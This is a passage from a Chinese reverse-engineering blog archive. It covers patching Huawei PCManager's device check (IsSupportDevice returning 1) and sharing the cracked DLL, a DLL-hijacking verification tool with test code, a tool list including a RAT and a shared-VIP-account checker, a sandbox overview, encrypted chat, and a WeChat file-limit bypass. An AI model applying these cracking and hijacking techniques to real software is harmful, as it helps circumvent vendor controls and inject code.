01 00000031`5e6fed60 00007fff`11184af2 : 00000000`00000000 00000000`00000000 00000031`5e6fef70 00000000`00000000 : Util!CWMI::GetOutPutUIntByString+0x2e19
02 00000031`5e6fee80 00007fff`111753df : 00000000`00000000 7fffffff`ffffffff 00000000`00000000 00000000`00000000 : Util!CWMI::GetOutPutUIntByString+0x3092
03 00000031`5e6fef50 00007ff7`70a18ff3 : 7fffffff`ffffffff 00000000`00000000 7fffffff`ffffffff 00000000`00000000 : Util!SMBIOSHelper::IsSupportDevice+0x1f
04 00000031`5e6fefb0 00007ff7`70a32223 : 00000000`00000000 00000000`0000000a 00000000`00000000 00000000`00000000 : PCManager!SMBIOSHelper::operator=+0xa93
05 00000031`5e6ff7d0 00007fff`4f6f7bd4 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : PCManager!Compression::Compression+0x3b93
06 00000031`5e6ff810 00007fff`5150ced1 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x14
07 00000031`5e6ff840 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21

才看到被我忽略的一个很重要的信息Util!SMBIOSHelper::IsSupportDevice，这个函数名太明显了。

只需要修改这个返回值，基本应该就绕过检查了。

BOOL8 __fastcall SMBIOSHelper::IsSupportDevice(SMBIOSHelper *this)
{
 return 1; //patch
}

是的，我好像又掉坑里，浪费了挺多时间。

4

但是前面为什么会出现异常呢，导致我掉进了一个确实是对的但又有点坑的位置呢。

想到xml的路径，此时我终于反应过来哪个异常可能是什么了。

因为我把软件放在了中文目录中，而软件对中文处理貌似有问题。（我没有深究了）

1	D:\华为\PCManager_Setup_9.1.6.33

果然，去掉中文目录后，再没有上面看到的int3。

所以，这又是个坑。C

本来正常的分析逻辑是这样的。

0:000> g
ntdll!NtTerminateProcess+0x14:
00007fff`5153c644 c3              ret
0:000> kv
 # Child-SP          RetAddr           : Args to Child                                                           : Call Site
00 00000042`558ffb38 00007fff`5150a9b8 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!NtTerminateProcess+0x14
01 00000042`558ffb40 00007fff`4f6fcd8a : 00000000`00000000 00000000`00000000 00007fff`4ecb9b68 00000000`00000000 : ntdll!RtlExitUserProcess+0xb8
02 00000042`558ffb70 00007fff`4ec1ae38 : 00000000`00000000 00000000`00000000 00000042`558ffbf8 00007fff`4ecebc20 : KERNEL32!ExitProcessImplementation+0xa
03 00000042`558ffba0 00007fff`4ec186ef : 00000000`00000000 00000000`00000000 00000000`00000000 00000042`558ffbf0 : ucrtbase!exit_or_terminate_process+0x44
04 00000042`558ffbd0 00007ff6`fa852235 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000001 : ucrtbase!common_exit+0x6f
05 00000042`558ffc20 00007fff`4f6f7bd4 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : PCManager!Compression::Compression+0x3ba5
06 00000042`558ffc60 00007fff`5150ced1 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x14
07 00000042`558ffc90 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21

看到exit进程，回溯到调用位置，看看做了什么判断。

.text:000000014003221E                 call    WinMain
.text:0000000140032223                 mov     ebx, eax
.text:0000000140032225                 call    __scrt_is_managed_app
.text:000000014003222A                 test    al, al
.text:000000014003222C                 jnz     short loc_140032235
.text:000000014003222E                 mov     ecx, ebx        ; Code
.text:0000000140032230                 call    exit
.text:0000000140032235 ; ---------------------------------------------------------------------------
.text:0000000140032235
.text:0000000140032235 loc_140032235:                          ; CODE XREF: __scrt_common_main_seh(void)+120↑j
.text:0000000140032235                 test    dil, dil

是在WinMain中正常退出的，所以判断就是在WinMain中。在IDA翻看一下，很容就找到了重要提示。

在往上看，正主来了。

这样简单太多了，已经不记得是第几次被中文路径坑了，又想用英文系统了。

5

把Util!SMBIOSHelper::IsSupportDevice修正一番，替换原始的utlil.dll，直接运行软件，在华为的友商电脑中成功启动。

开始尝试连接手机。

点击我的手机->扫码连接，提示需使用华为浏览器扫描。

因为我不是华为手机，所以是不是下载一个华为浏览器就OK了呢。

一番搜索，在华为市场找到了华为浏览器的app。

兴致勃勃地装到了我的小米手机上，嗯，友商之间很友好，并没有出现什么异常情况。

打开浏览器，点开二维码扫描，扫描软件管家二维码，提示需要安装华为移动服务，ok，安装。

安装完成之后，啥也没提示，就光秃秃一个网页页面，电脑助手。

懵逼中，再次扫描，同样地情况。

脑筋一转，把链接复制发到了电脑，浏览器打开，看到了下载按钮。

第三个app了，继续把华为电脑助手安卓版装入了小米，瞬间感觉MIUI好像被华为全家桶强X了一下ε(┬┬﹏┬┬)3。

重新扫描，这次果然不一样了，浏览器跳转到了助手页面，提示配对。

这中间又出现了n多问题

(怀疑蓝牙服务不正常、二维码生成不正常、电脑管家是否对手机校验、分析是否还有check…)

不想细说了，反正经过一番折腾，终于手机和电脑连上了。

但是这也没有多屏协同啊，就一个手机助手啊。

难道我哪里又弄错了？

去搜了搜多屏协同的帖子，算是找到了问题。

TMD，原来下载的软件版本低了，而我还眼瞎地没看到上面的下载列表的10.0.2.59版本。

真是被自己蠢哭了。

下载最新版，重新修正了util.dll，这次连上果然不一样了。

但是，最终还是没能用上多屏协同，尽管我已经安装了3个华为的app，但就是手机不支持（EMUI系统功能）。

看到这些条件，我真是感到心累，“这是对冲动最好的惩罚”。

6

是的，虽然折腾了这么久，最后也没用上这个牛逼的功能，但是我很充实（哭）。

因为我为其他拥有华为手机但没有华为电脑然后想体验华为多屏协同功能的大伙做出了我的贡献。

我满足了。

哎，卑微的我去咸鱼看看二手的华为手机，或者去问问华为EMUI适配不适配友商的手机了。

或者哪位大佬有换代的华为手机邮我一个，地址是：XXXX。

哎，曾经的我没钱买华为，现在的我依然没钱买华为。

申明：虽然华为手机副总裁已经说过不反对破解，但这里还是郑重申明，文章仅仅是做技术研究，如侵删，谢谢。

最后，小声地说，如果想体验的朋友，请到https://github.com/anhkgg/Huawei_PCManager_NB下载试用，务必阅后即焚。

文件较大，也可以公众号后台回复：HuaweiNB获取网盘链接。

如果觉得内容还不错，欢迎关注公众号：汉客儿。

交流群：753894145

转载请注明出处：https://anhkgg.github.io/huawei-pcmanager-nb

欢迎关注技术公众号：汉客儿

注入技术系列：一个批量验证DLL劫持的工具

2019-11-03T01:11:36.000Z

作者：anhkgg
日期：2019年11月3日

很多时候，可能会对某个软件进行DLL劫持。

而这个软件是否存在DLL劫持漏洞，需要去分析验证。

比如通过IDA查看导入的DLL，或者LoadLibrary的DLL，然后慢慢排除某些KnownDlls，排除某些绝对路径加载的DLL…

或者通过Windbg分析。

虽然技术难度不高，但是挺费事的。

本篇文章分享我找DLL劫持的方法，不一定是最佳，不过很方便。

1

首先，通过windbg启动软件，设置（默认开启的）：

1	Debug->Event Filters->Load module，勾选Output

然后go运行。这样我们可以看到运行后，软件导入表导入的DLL，以及LoadLibrary加载的DLL的所有文件，如下所示：

ModLoad: 75090000 750cb000   C:\Windows\system32\rsaenh.dll
ModLoad: 757c0000 757cc000   C:\Windows\system32\CRYPTBASE.dll
ModLoad: 778b0000 778da000   C:\Windows\system32\imagehlp.dll
ModLoad: 77860000 778a5000   C:\Windows\system32\WLDAP32.dll

2

写一个测试的DLL，只用下面的代码：

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    char path[MAX_PATH] = { 0 };
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        OutputDebugStringA(path);
        OutputDebugStringA("success!");
        MessageBoxA(NULL, "success!", "Tips", MB_OK);
        ExitProcess(0);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

然后讲DLL改名成劫持目标DLL，放到软件目录下，运行验证即可。

如果出现提示success则表示该目标DLL劫持成功。

3

如果DLL太多了，一一验证排除肯定很麻烦，所以程序员又要写代码了。

写一个自动批量验证的工具，基本思路如下：

把windbg拿到的dll列表保存下来
准备好测试DLL，DLL中加入写log功能
分析dll列表，一一把测试DLL拷贝为目标dll，启动软件
然后把log提取出来，可以看到成功劫持的dll

工具界面如上，一键验证所有DLL，分分钟拿到结果。

工具会分享到https://github.com/anhkgg/anhkgg-tools下，欢迎使用，如有bug，请联系我。

交流群：753894145

转载请注明出处：https://anhkgg.github.io/inject-dllhijack-tool

欢迎关注技术公众号：汉客儿

程序员的生活原来这么丰富:)-造轮子，撸工具的乐趣

2019-10-18T08:34:35.000Z

author: anhkgg
date: 2019年10月17日

原标题：造轮子，撸工具的乐趣

QQ交流群：753894145

从开始学习编程到现在，一直喜欢写些小工具，也会重复造轮子。

为什么要自己撸呢？

~当然是因为别人撸的不好（逃）~

因为：

自己某些小需求，并没有现成工具
别人的工具有些瑕疵，没有达到自己的预期，而且没有开源，不好改
有时是为了，减少人工，重复劳动，完成自动化
有时是为了技术学习验证
有时纯粹因为好玩
但都会带来小小的成就感，感觉世界就掌握在自己手中

今天看到介绍鲁大师前世今生的文章，原来做工具也可以成立公司、打入海外、敲钟上市、走上人生巅峰的。

所以为什么不可以造轮子，撸工具呢。

1、做了些什么？

下面列的是从我学生时期，到现在能够找到的部分小工具，有些分享出来了，有些保留自用的。

看人品双色球

学生时期，有段时间买双色球，可是不知道买什么号，就做了这个小玩意，纯粹是随机数，看人品。

状态：	完成
好玩指数：	★☆☆☆☆

迅雷VIP账号验证

学生时期，刚学完python不久，各种练手，那时候用迅雷各种下载小时候想看的电视剧、电影。
可是没会员速度不给力，找网上分享的各种vip，但有些账号是不能用的，一个个试太费事了。
没法，只好写个工具，爬取vip账号，自动登陆尝试账号是否可用，效果不错。
因为账号是共享的，可能会被别人挤下去，所以另外还要配合一个断线重连工具使用。

状态：	找不到vip获取工具了
好玩指数：	★★☆☆☆

简单计算器

学生时期，完成的作业

状态：	完成
好玩指数：	★☆☆☆☆

文件浏览器

学生时期，完成的作业

状态：	完成
有用指数：	★☆☆☆☆

py2exe

学生时期，一个GUI工具，使用py2exe编译python为可发布的exe，那时候好像还没有GUI2exe。

状态：	目前都还在用
有用指数：	★★☆☆☆

自动签到

学生时期，学了python，各种分析网站登陆、签到功能之类，然后用python实现。以至于工作了，还想弄个pylogin。

状态：	python是真好用
有用指数：	★★☆☆☆

注入器

学习注入之后的产物。

状态：	能用
有用指数：	★★☆☆☆
下载地址：	https://download.csdn.net/download/angelxf/4271110

错误码查询

都知道vs自带错误码查询工具，但是不支持内核错误码，所以做了这个，两种都支持，另外也是为了练手duilib。
值得一提的是，界面使用windows自带画图画的，还能看。

状态：	很好
有用指数：	★★☆☆☆
下载地址：	https://download.csdn.net/download/angelxf/10209284

114抢号

有段时间经常需要挂号，当时是在114平台在线挂号，每天早上8点开始放号，网上的号也没几个，又遇上上班的点，很难人工抢到号。更变态的是每次都要输入验证码，真实难上加难。

所以开始考虑实现一个抢号工具，难点主要在验证码的获取，并且是自己的手机号。

第一版的时候，是直接java写的，然后usb连上手机，监控短信，拿到验证码，完成自动化抢号。但因为上班时间，所以开了台电脑在家，不用的手机也放家里，才算完成了抢号。

后面直接做了app版本，直接在手机端完成所有工作。

状态：	效果非常好
有用指数：	★★★★☆

hosts编辑器

因为windows UAC限制，很多时候为了修改hosts文件，都需要复制出来hosts，然后修改了，再复制回去，很麻烦的事情。
我非常嫌麻烦，所以做了这个工具，可以直接修改，查看，不用复制来复制去了。

状态：	能用
有用指数：	★★★☆☆
下载地址：	https://download.csdn.net/download/angelxf/11834888

宽带IP自动同步

这个是什么东西呢？

因为家里放了台性能很好的台式机，上班也想直接用于开发，但是不想搬到公司去。所以台式机开了远程桌面，然后配置路由器端口映射，就可以直接在公司远程连接操作了。因为是tcp直接连接，比某些其他远控软件肯定快了非常多，基本感受不到延迟，体验很好。

但问题是，现在开宽带都不提供独立ip了，所以家里电脑的外网ip经常更换，经常用着用着断掉了，工作也歇了。

所以就搞了一套实时获取台式机外网ip，上传ip到某个位置，然后公司电脑自动同步ip的工具，在ip更换的情况下，也能够自动更新，再也不怕掉线了。

状态：	完美
有用指数：	★★★★★

字符编码工具

这种工具很多，但有些时候就是不满足我的需求，比如没法直接进制转换、不能猜测是什么编码。

所以我加上了这两个功能，自己撸了一个。

状态：	经常用
有用指数：	★★★★★
下载地址：	https://download.csdn.net/download/angelxf/11834897

神算子偏移计算器

这个工具其实之前已经安利过了。

做逆向调试的小伙伴应该都遇到过这种问题：在同时使用两大神器OD(或Windbg)和IDA逆向某程序时，调试中模块基址经常变化，而在IDA中默认为0x400000（或0x10000000），所以在调试到某个点想到IDA整体对比分析一下的时候，发现计算地址真的好麻烦，特别时在经常需要计算的时候，这个问题尤为明显。

这个工具可以很方便的计算偏移，转换等。

状态：	很好用
有用指数：	★★★★★
下载地址：	https://mp.weixin.qq.com/s/glCFGcQN0RBJXqKwqmQqBw

chisechat

这是最近安利的一个小工具，主要用于私密聊天。

状态：	很好用
有用指数：	★★★★★
下载地址：	https://anhkgg.com/Chisechat
文章：	https://mp.weixin.qq.com/s/SV4bxTTURnXDUMR83XDHpg

answerot

那段时间直播答题非常火热，也参与了，但知识有限，不得不借助外力，所以有了这个项目。

状态：	当时提好用
有用指数：	★★★★☆
项目地址：	https://github.com/answerot

pyrat

PyRat，基于python XmlRPC完成的远控开源项目，包括客户端和服务端（也叫控制端，后统称服务端）。

做这个其实是为了做一个跨平台的rat，也为了可能某些时候文件传输使用，也为了复习相关技术。

状态：	基本完成，可能更新
有用指数：	★★★☆☆
项目地址：	https://github.com/anhkgg/PyRat

pylogin

这就是我前面提到的，想完成一个模拟登陆的库，支持各种常用的网站，理想很丰满，现实很残酷。

分析各种网站登陆协议挺费事的，目前仅做了v2ex、百度统计、畅言。

状态：	暂时搁置
有用指数：	★★★☆☆
项目地址：	https://github.com/anhkgg/pylogin

一键电影下载

如题，就是为了方便。

状态：	好用
有用指数：	★★★★☆
项目地址：	https://github.com/anhkgg/MovieHunter

52备份

一个批量下载52pojie爱盘中资源的小脚本。因为52爱盘整理的工具很多，也挺好用的，不由自主地想备份一下。

状态：	好用
有用指数：	★★★★☆
项目地址：	https://github.com/anhkgg/Get52PojieTools

程序员钢琴曲

这是我觉得自己做的最好玩的一个工具了，没有之一。

一天玩钢琴软件，突然冒出来的一个想法，写代码的时候是不是也可以发出优美的琴声呢。

让代码变成一首钢琴曲，让程序员也成为钢琴大师！

状态：	好听
有用指数：	★★★★★
项目地址：	https://github.com/anhkgg/coding_piano
文章地址：	https://mp.weixin.qq.com/s/psiP7NtSOZt2TGsR0QTIow

SuperDllHijack

这个算是一种技术研究分享，一种通用Dll劫持技术，不再需要手工导出Dll的函数接口了。

状态：	好用
有用指数：	★★★★★
项目地址：	https://github.com/anhkgg/SuperDllHijack
文章地址：	https://mp.weixin.qq.com/s/Nx4C2mx94V9vhvU8Eqfobg

超级笔记本

这是我自用的重度工具，用于记录笔记，写文章等等。

可以理解为一个定制的离线版有道云笔记，支持markdown，实时预览，打印。

当初想做这个，有几个原因：

有些笔记不想同步到云上，所以要离线版
有些笔记想保留历史记录，所以用了git来保存文章
想统一管理笔记、文章、周报、会议纪要等等

自己想要的东西，基本都做完了，不过还在持续迭代中。

状态：	重度使用
有用指数：	★★★★★

superwechatpc

略。

状态：	重度使用
有用指数：	★★★★★
项目地址：	https://github.com/anhkgg/SuperWeChatPC

密码本

各种网站、app密码太多，怎么保存，怎么管理？万一电脑遗失，密码被人看到咋办？

可以用压缩文件加密压缩，但是使用不方便。

所以自己撸了一个文件浏览器，类似压缩文件格式（自定义）保存，支持文件口令，支持实时查看、搜索、增加、删除密码记录等等。

状态：	重度使用
有用指数：	★★★★★

文件隐藏工具

电脑上有没有不想被人看到的文件？给explorer加个隐身功能吧，需要输入正确口令才能查看文件哦，功能直接看图。

状态：	好用
有用指数：	★★★★★

vip搜索播放

现在为了能够准时追剧，不慢人一步，没有vip是不行的。我也有爱奇艺vip，但是我想看的不在爱奇艺播，你说气人不气人，难道为了看一部电视剧或电影就去买个其他两个平台的会员，是不是太不划算了。

网上有很多vip解析接口，有些时候能够解一时燃眉之急。

但是体验不好啊，每次都要去官网找到视频连接，放到解析网站才能播放。

所以我把搜索和vip播放集成了，就在我的工具搜索（支持qq、爱奇艺），然后直接播放，体验很棒。

不过，我现在真的买了个三个平台的会员，哭。

状态：	好用
有用指数：	★★★★★

想介绍的就这些了，前一部分非常水，毕竟是刚入门不久写的。
后面的工具自我感觉是非常有意思、有用的，也一直在用，所以它们确实带给我了很多成就感。

当然还有很多工具，年代久远，忘了，找不到了。

如果大家有对某些工具感兴趣的，可以留言，我会酌情放出。

2、最后

这篇文章一个是为了自我总结，看看自己这些年究竟折腾了些什么东西，另外也是希望能够找到些同道中人，做做下面说的事情。

如果大家有什么有趣的想法或需求，还没有做出来的，如果是能够分享到的，可以到项目github.com/anhkgg/anhkgg-tools留言区第一个issue留言，或者点赞支持别人的想法。我可以从中挑选感兴趣的东西尝试做一做，然后分享到项目中，当然也欢迎其他感兴趣的朋友参与一起开发，为大家贡献一些好玩好用的小工具。

转载请注明出处：https://anhkgg.github.io/anhkgg-tools

欢迎关注技术公众号：汉客儿

沙箱：概述

2019-10-05T02:58:49.000Z

author: anhkgg
date: 2019-10-05

最早接触沙箱，对它的印象就是：sandboxie。

因为学的是安全相关专业，在网上下载东西非常谨慎，就算通过了杀毒软件扫描，但是也怕有后门或者其他东西，毕竟我也可以静态过掉杀软。

很多软件没有官网，各种下载站的东西真的是让人不放心。

所以在下载某些软件后，只要不影响功能，基本都会用sandboxie来运行软件。如果不行，则放到虚拟机里。

所以我对沙箱最初的概念就是：sandboxie，它是一个轻量级虚拟机，软件的操作都不会影响真正的系统，包括文件、注册表等等资源，可以放肆地想干嘛干嘛。

那时当然是不怎么知道sanboxie是怎么做的。

题外话：最近因为微软的关系，sanboxie已选宣布免费，后续还可能开源，感兴趣的可以关注关注。

沙箱

注：沙箱现在的概念非常杂，某些分析平台后端也叫沙箱，主要关注的行为获取，我这里说的不一样。

那么沙箱究竟是怎么做的呢？

一句话概括的话就是：沙箱内万物基于重定向。

重定向，顾名思义，就是重新指定方向，也就是说沙箱能够做到让沙箱内软件操作的文件、注册表等路径重定向到其他位置（沙箱指定位置），这样软件本来想操作的资源就不会被访问或者操作，保证资源的安全性。

这也就是我使用沙箱跑一些不明软件的原因，万一软件被恶意修改过，存在病毒，想破坏系统关键文件，也就不可能了。

言归正传。

重定向我们还有个高级的词叫做“虚拟化”，也可以称作”隔离“，说到底沙箱就是为程序提供一个虚拟化环境，也就是隔离环境，并保证程序所有操作都在这个隔离环境内。

再举一个简单的例子理解一下重定向。如果程序要删除c:\boot.ini，沙箱如何做到隔离，保证文件不被删除呢。

沙箱hook ZwDeleteFile，函数是HOOK_ZwDeleteFile。
在HOOK_ZwDeleteFile中，讲路径c:\boot.ini加上一个前缀c:\sandbox\boot.ini，转到沙箱内文件路径。
c:\sandbox\boot.ini不存在，会先把c:\boot.ini拷贝到沙箱内。
然后调用原始ZwDeleteFile，删除c:\sandbox\boot.ini。

NTSTATUS HOOK_ZwDeleteFile(
  POBJECT_ATTRIBUTES ObjectAttributes
) {
   AddPrefix(ObjectAttributes->ObjectName, L"sandbox");//路径加上沙箱前缀
   if(!PathFileExists(ObjectAttributes->ObjectName.Buffer)) {
      CopyFile();//拷贝进来
   }
   return OrigZwDeleteFile(ObjectAttributes);
}

如此就完成了一个简单的删除文件的隔离。

一个完备的沙箱一般需要虚拟化（隔离）处理这些东西：

文件
注册表
DCOM(RPCSS)
服务
其他如：窗口、类名、消息、token等。
进程、线程安全
全局钩子、注入等防护
驱动加载
…

下面对比较重要的几个内容进行一下阐述。

文件重定向

保证沙箱内程序创建、修改、删除、读取等文件操作都在沙箱内，不会影响系统中真实的文件。

功能实现方式由很多，主要可以按下面分为：

用户态实现，hook ntdll.dll文件相关函数，然后路径重定向
内核态实现，ssdt hook文件相关函数，或者minifilter等技术

用户态实现较为简单，语义更清晰，但是强度不够，有很多方式穿透ntdll.dll这层的文件操作函数，导致文件重定向（隔离）失败，比如用户态通过直接扇区读写来修改文件。

内核态如果使用minifilter来实现，强度基本就够了。

不过sandboxie是在用户态实现的。

注册表重定向

保证沙箱内程序创建、修改、删除、读取等注册表操作都在沙箱内，不会影响系统中真实的注册表信息。

同样，和文件重定向一样，也可以在用户态或内核态使用不同的技术完成，先不细说。

DCOM虚拟化

其实做DCOM虚拟化，最主要是为了防止沙箱内程序逃逸。

所谓逃逸，就是沙箱无法控制沙箱内程序行为，程序可以绕过沙箱，对系统造成破坏。

逃逸的方式有很多，对于支持DCOM的程序，就是其中一种。

举个例子，在wordpad.exe(写字板）插入对象-画笔图片，会启动mspaint，可以看到mspaint是svchost.exe -k DcomLaunch的子进程。

什么意思呢？

一般来说，如果在沙箱中启动wordpad.exe，wordpad.exe的子进程默认也会进入沙箱，但通过DCOM启动的mspaint就没法拉入沙箱了，它不是wordpad.exe子进程。

所以，此时需要虚拟化DCOM，让沙箱内启动一个DCOM服务，这样wordpad.exe直接和沙箱内DCOM通信，启动子进程mspaint.exe，作为沙箱内DCOM服务的子进程，自然也被拉入沙箱内。

如此做到组织逃逸。

这里面涉及到很多技术细节，如RPC，后面细说。

服务虚拟化

其实服务也是逃逸沙箱的一种方式，但是也可以说如果沙箱不支持服务虚拟化，某些程序就不能在沙箱内正常工作。

所以不管出于那种原因考虑，沙箱都得实现服务虚拟化。

至于说服务也能逃逸是怎么回事呢？

很简单，程序通过服务API创建一个服务，然后启动服务，对应服务程序就没法被沙箱接管，逃出沙箱控制。

实现就是接管服务相关API了。

其他

剩下的其他内容，暂时也不分析了，如果有时间，后面继续分享。

最后

前面说的内容都是如何完成虚拟化的东西，一个成熟的沙箱肯定还包括其他很多东西，比如多沙箱的支持、沙箱清理、安全浏览器等等，不过这些都不在我们重点讨论范围，毕竟这些只有在实际产品才会考虑的问题，我们这里只是研究沙箱核心相关的技术。

另外，针对每种重定向技术细节后续会慢慢详细分享，敬请关注。

最后，再来一张简单的沙箱框图。

转载请注明出处：https://anhkgg.github.io/sandbox-summary

欢迎关注技术公众号：汉客儿

程序员对私密聊天的乱想

2019-09-06T03:19:27.000Z

唠叨

群里有人推了个项目TgWechat，微信端对端加密插件，还特意@了我表示感谢，受宠若惊。

隐私问题其实说了很久，有人说微信其实一直看着我们聊天，具体是怎么样的，咱也不知道，咱也不敢问吖…

谁没个秘密呢，或者和朋友开个玩笑，或者和伴侣聊点”家常”，如果这些内容暴露在别人眼中，确实有点尴尬，但毕竟咱也没乱说啥吖…

不过加密聊天也可有能会给某些人提供某些庇护，导致出现一些安全问题，这也是一个大问题…

所以你让我说微信到底要不要、能不能看我们聊天内容，我确实也说不好…

所以这里不讨论这种问题，我只聊技术。

不是广告~~

端对端加密（ end-to-end encryption），按我的简单理解就是A和B聊天，A说出去的话加密后，只有B能够解开密文，拿到明文，这个过程中网络传输过程全是加密的。

2017年8月，WhatsApp宣布对所有通讯信息进行端到端加密，WhatsApp超过10亿用户的所有信息(包括文字、照片、视频、文件和语音信息)在默认下都会进行端到端加密，包括群聊。

“我们的想法很简单：当你发送一条消息，只有接收你消息的人或群组可以读取，”WhatsApp创始人Jan Koum和Brian Acton表示，“没有人可以看到这些消息，网络罪犯、黑客、政府人员甚至我们都不能看到这些消息。端到端加密可确保WhatsApp通讯的隐私性，这有点像面对面的谈话。”

看了这个新闻，知道我没理解错。

其实我很早就写了个小工具，就实现了端对端加密，而且还是对聊天工具透明的，也就是说任何工具都能用。

哈哈，有点吹了…

小工具叫做Chisechat，slogn是“独属于你和我的心灵密令”，本来是我自用的小玩意，后来改了几版之后才分享出来的。

功能很简单，A和B都用Chisechat设置一个一样的密码（私下协商，打电话或者当面定好），A把要发的内容放到Chisechat加密，再用聊天工具把加密内容发给B，B拿到密文在Chisechat中解密查看。

看起来操作是不是挺麻烦，其实还好，因为我针对操作做了优化，基本不影响聊天体验，具体不说了，感兴趣的自行下载试用，地址：https://anhkgg.com/Chisechat/。

唯一让我拿出来分享的原因是，我觉得自己做的挺好玩，让我啰嗦说道一下。

Chisechat刚开始加密就是简单的xx算法+base64，然后base64的内容特征太明显，也不好看，我就开始想怎么弄得更自然一点，后来增加了两种模式。

增加base64中文版算法，也就是那些xx字符全换成我选的一些中文，这样编码结果看起来自然多了
后来觉得选的字太简单也不好看，就灵光一闪想到粤语。是的，粤语词看起来非常炫酷，非常好玩。

具体如何你们自行鉴赏一下：

OK，扯得有点多了，我的Chisechat其实一种粗糙且粗暴的一种解决方案，但够用了。

研究

那WhatsApp是如何做的呢？不知道。

但是搜索的时候，看到了这个必须拥有姓名的软件Telegram，也就是TgWechat参考的。

Telegram中文名好像叫做“电报”，很安全的感觉。Telegram号称”这个世界上没人能监控我”。

Telegram 为一对一的聊天提供端对端加密，加密模式是基于256位对称AES 加密，RSA 2048 的加密和Diffie-Hellman 的安全密钥交换协议。协议极其优秀，兼具数学和工程之美，不仅加密基础非常完善，在工程上也很出色，Telegram传递的消息为函数，可扩展性相当强。

Telegram用的是RSA-dh+AES来完成的端对端加密。

按我一个密码学渣的粗浅理解就是：

A和B拥有相同的p、q，通过RSA生成各自公钥和私钥。
私钥自行保存，公钥通过网络发送给对方。
互相拿到公钥后，和自己的私钥一起算出一个共享密钥
A和B算出密钥是一样的，这样就是可以互相AES加密解密了。

具体算法大家自行查看其他更详细的分享，比如对抗中间人攻击（RSA签名），爆破（p、q很大）。

看一下这个实例更好理解：

//https://blog.csdn.net/andylau00j/article/details/82178351

1.爱丽丝与鲍伯协定使用p=23以及g=5.
 
2.爱丽丝选择一个秘密整数a=6, 计算A = g^a mod p并发送给鲍伯。
   A = 5^6 mod 23 = 8.
 
3.鲍伯选择一个秘密整数b=15, 计算B = g^b mod p并发送给爱丽丝。
   B = 5^15 mod 23 = 19.
 
4.爱丽丝计算s = B a mod p
  19^6 mod 23 = 2.
 
5.鲍伯计算s = A b mod p
   8^15 mod 23 = 2.

总的来说，Telegram通过很牛逼的密钥交换算法让两方拥有了一样的密码，然后别人不知道，也找不到，这样子聊天内容一加密，就只有对方能够看到，如此完成了一个端对端加密的安全聊天通道。

再扯一句，Telegram是通过协议和算法来完成协商密钥，而我的Chisechat是人工通过其他通道协商的密钥，殊途同归，嘎嘎。

猜测

理论搞明白了，现在想想TgWechat是怎么做的呢（这玩意加的vm太多了…别想逆了）？

其实也有两种方式，一种类似于Chisechat的思路，自行设置密码，然后加密聊天，一种就是像Telegram一样通过协议和算法完成。

这前面密码的事都没啥好说的，关键在Wechat不是你自己的软件，要怎么插入一些自己的东西进去。

这里我也只是给出思路，猜测TgWechat是这么做的。

hook sendmsg、recvmsg。
密钥协商阶段，检查发送内容和接收内容是不是特定内容，是则通过算法生成公私钥，公钥sendmsg发送出去。
recvmsg收到公钥，算出共享密钥。
后续发送和接收到内容时，通过加密算法先加解密，再发送出去或者显示。

OK，基本就是这样了。

点击体验Chisechat：https://anhkgg.com/Chisechat/

参考：

欢迎关注技术公众号：汉客儿

教会微信：突破文件发送100M限制

2019-08-16T04:12:27.000Z

QQ交流群：753894145

9102年了，我想大部分人使用微信的频率应该都会高于QQ了吧。

以前在QQ传文件的时候，哪里会想到会有文件大小限制，几G、几十G的文件随意传。

而现在，用微信传文件，很尴尬，只能传100M或更小的文件。

为什么做这个限制？我想可能是因为微信一开始就是手机应用。

最初手机存储空间并不像电脑那么大，所以微信可能认为手机存不下（而现在256G是标配了）。
更重要的是，手机使用流量，大文件消耗流量更多，用户肯定受不了（现在流量也不贵了，再说还有WIFI呢）。

所以限制文件大小，合情合理。

但是，现在微信也出了PC版本了，也有很多用户在使用PC版本微信，还在限制100M就有点说不过去了。

你说怕手机收到后下载耗流量，确实有点浪费，那你服务端可以区分一下嘛，用户也可以自己确认是否下载啊。

但是，微信并没有做什么，这就很影响PC上微信的使用体验了。

我要用微信传大文件啊（100M以上），因为我QQ密码忘了，因为我朋友QQ密码忘了…

好，既然如此，你不做…还是…你不做，那就我来做！

1、突破本地100M限制

下载最新的PC微信（当时2.6.8.65），开始分析微信对文件大小限制是如何做的，然后一一突破。

在选择文件过程中就做了100M限制。

嗯，文件大小首先就想到了GetFileSize，下个断点看看。

bp KERNEL32!GetFileSize
bp KERNEL32!GetFileSizeEx
0:000:x86> kvn
 # ChildEBP RetAddr  Args to Child              
00 0075cf6c 7908f015 c78f272a 10977de0 00000001 KERNEL32!GetFileSizeEx
01 0075cfec 7908ed8c 109a7218 0000001f 00000020 WeChatWin!IMVQQEngine::`default constructor closure'+0x2f735
0:000:x86> g
Breakpoint 2 hit
KERNEL32!GetFileSizeEx:
777840e0 ff25d80f7e77    jmp     dword ptr [KERNEL32!_imp__GetFileSizeEx (777e0fd8)] ds:002b:777e0fd8={KERNELBASE!GetFileSizeEx (76ce2ec0)}
0:000:x86> kvn
 # ChildEBP RetAddr  Args to Child              
00 0075e810 7908fd9e c78f0396 00000000 0e61c3a4 KERNEL32!GetFileSizeEx
01 0075eb50 792e5b5c 00000306 0000000f 00000000 WeChatWin!IMVQQEngine::`default constructor closure'+0x304be
0:000:x86> g
Breakpoint 2 hit
KERNEL32!GetFileSizeEx:
777840e0 ff25d80f7e77    jmp     dword ptr [KERNEL32!_imp__GetFileSizeEx (777e0fd8)] ds:002b:777e0fd8={KERNELBASE!GetFileSizeEx (76ce2ec0)}
0:008:x86> kvn
 # ChildEBP RetAddr  Args to Child              
00 0378e530 79a9eba3 00000002 00000000 00000000 KERNEL32!GetFileSizeEx
